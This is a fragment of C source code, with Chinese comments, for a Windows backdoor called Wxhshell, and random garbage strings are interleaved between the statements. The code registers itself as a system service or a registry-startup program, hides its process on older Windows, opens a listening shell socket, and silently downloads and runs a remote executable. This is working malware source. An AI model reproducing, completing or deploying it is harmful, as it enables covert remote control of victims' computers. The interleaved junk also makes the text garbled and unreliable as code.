7= ]RxNSr0e if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #Qkl| h CnAh Ef)b CloseHandle(hProcess); ,2u]rLxx; y:1?~R hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qoOHWh& if(hProcess==NULL) return 0; VGTo$RH b\}`L" HMODULE hMod; "|f ; char procName[255]; m|p}Jf! unsigned long cbNeeded; }V`Fz',lZ Q&wBX%@^L if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5^pQ=Sgt eK]GyY/Y CloseHandle(hProcess); Z$2mVRS`c )M1.>?b if(strstr(procName,"services")) return 1; // 以服务启动 K":-zS XfB;^y=u8 return 0; // 注册表启动 2 !{P< } y#r=^r]l) qD2<-E&M/ // 主模块 K?P.1H` int StartWxhshell(LPSTR lpCmdLine) (RGl, x: { lnTl"9F SOCKET wsl; aFKks .n3 BOOL val=TRUE; Il!iqDHz3 int port=0; hd+JKh!u struct sockaddr_in door; F/mD05{ 8amtTM if(wscfg.ws_autoins) Install(); x'}{^'}/ m`n51i{U port=atoi(lpCmdLine); !5x"d7 F
YcC2TM if(port<=0) port=wscfg.ws_port; |Y:T3hra61 InRn!~_N WSADATA data; yl|+D] if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2f F)I& )-[X^l
j if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Y ||!V setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xOP\ +( door.sin_family = AF_INET; tw^V?4[Miu door.sin_addr.s_addr = inet_addr("127.0.0.1"); g=a-zg9LX door.sin_port = htons(port); A9F Z` @"Do8p!*(6 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )TG\P,H9 closesocket(wsl); {d=y9Jb^ return 1; V5R``Tp } \\)3:1X 6VRVk7" if(listen(wsl,2) == INVALID_SOCKET) { #uKHw2N closesocket(wsl); 4ajBMgD]KG return 1; -j<m0XUQ } 3vDV
Wxhshell(wsl); ;9d(GP}eE WSACleanup(); V.;0F%zks5 `Q}.9s_ri return 0; Q TM+WD ;sb0,2YyP } URY%+u )6Z)z;n]aW // 以NT服务方式启动 3
nb3rHQ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !i{@B { nbhx2@Teqe DWORD status = 0; n0nkv[ DWORD specificError = 0xfffffff; 9NKZE?5P|D &9IMZAo serviceStatus.dwServiceType = SERVICE_WIN32; BYP,}yzA serviceStatus.dwCurrentState = SERVICE_START_PENDING; !dGy"-i$h serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1 BVivEG serviceStatus.dwWin32ExitCode = 0; ;z!~-ByzL serviceStatus.dwServiceSpecificExitCode = 0; 2x'JR yef serviceStatus.dwCheckPoint = 0; l0Y(9(M@ serviceStatus.dwWaitHint = 0; foaNB=, (iH5F9WO hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $O7>E!uVD if (hServiceStatusHandle==0) return; (]'4_~e O]i}r`E8, status = GetLastError(); %5jxq9:K if (status!=NO_ERROR) Ci=c"JdB { ,NKDEcw] serviceStatus.dwCurrentState = SERVICE_STOPPED; <"aPoGda serviceStatus.dwCheckPoint = 0; e$ E=n serviceStatus.dwWaitHint = 0; [G4#DP\t>p serviceStatus.dwWin32ExitCode = status; XA>@0E>1r serviceStatus.dwServiceSpecificExitCode = specificError; t~gnai SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?\.P return; r's4-\ } 5zfPh`U>1 d(42ob.Tr serviceStatus.dwCurrentState = SERVICE_RUNNING; |\Jpjm)? serviceStatus.dwCheckPoint = 0; ln#Lx&r;| serviceStatus.dwWaitHint = 0; w9l)=[s= if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]`]m41+w } @I#@%"AW 99H!~bSS // 处理NT服务事件,比如:启动、停止 W/xb[w9v VOID WINAPI NTServiceHandler(DWORD fdwControl) &`0heJ
5Yn { FtT+Q$q= switch(fdwControl) !&ac}uD^g { -0Y8/6]( case SERVICE_CONTROL_STOP: D@FJVF7c serviceStatus.dwWin32ExitCode = 0; o1-Zh!*a* serviceStatus.dwCurrentState = SERVICE_STOPPED; #Z(8 vA^@ serviceStatus.dwCheckPoint = 0; \} P} H serviceStatus.dwWaitHint = 0; GS4!c8> { ci6j"nKci SetServiceStatus(hServiceStatusHandle, &serviceStatus); f
\[Z`D } B7_:,R.l return; kMf]~EZ? case SERVICE_CONTROL_PAUSE: /|P&{! serviceStatus.dwCurrentState = SERVICE_PAUSED; Azq,N@HO break; fLxFF case SERVICE_CONTROL_CONTINUE: d* 7 Tjs{\ serviceStatus.dwCurrentState = SERVICE_RUNNING; +mYD
DlvI break; > & \QLo[5 case SERVICE_CONTROL_INTERROGATE: +^{yJp.H# break; LKFL2|af }; gBf%9F SetServiceStatus(hServiceStatusHandle, &serviceStatus); O5LB&s } Oy&Myjny< a$l/N{<. // 标准应用程序主函数 `` 6?;Y int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7.hn@_ { Z~9\7QJn w<tr<Pu' // 获取操作系统版本 =VH, i/@ OsIsNt=GetOsVer(); Ck/4hZ GetModuleFileName(NULL,ExeFile,MAX_PATH); PGOi#x eICk}gfun // 从命令行安装 ZH~ T'Bg if(strpbrk(lpCmdLine,"iI")) Install(); ZS4lb=)G K#}DXq // 下载执行文件 a)`b;]+9 if(wscfg.ws_downexe) { uy9k^4Cqa if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8~u#?xs6 WinExec(wscfg.ws_filenam,SW_HIDE); GBGGV#_q'} } |l
03,dOF N;9@-Tb if(!OsIsNt) { 6dt]$ // 如果时win9x,隐藏进程并且设置为注册表启动 ;%"UZ~]f HideProc(); o2He}t2o StartWxhshell(lpCmdLine); ^EPM~cEY\ } tT ~}lW)Y else Bq#?g@V if(StartFromService()) -y1%c^36_J // 以服务方式启动 Ont4-AP
StartServiceCtrlDispatcher(DispatchTable); Ayadvi(@P else |-bSoq7t // 普通方式启动 k`F$aQV9` StartWxhshell(lpCmdLine); b?hdWQSW7 kQxY"HD return 0; np}F [v }
|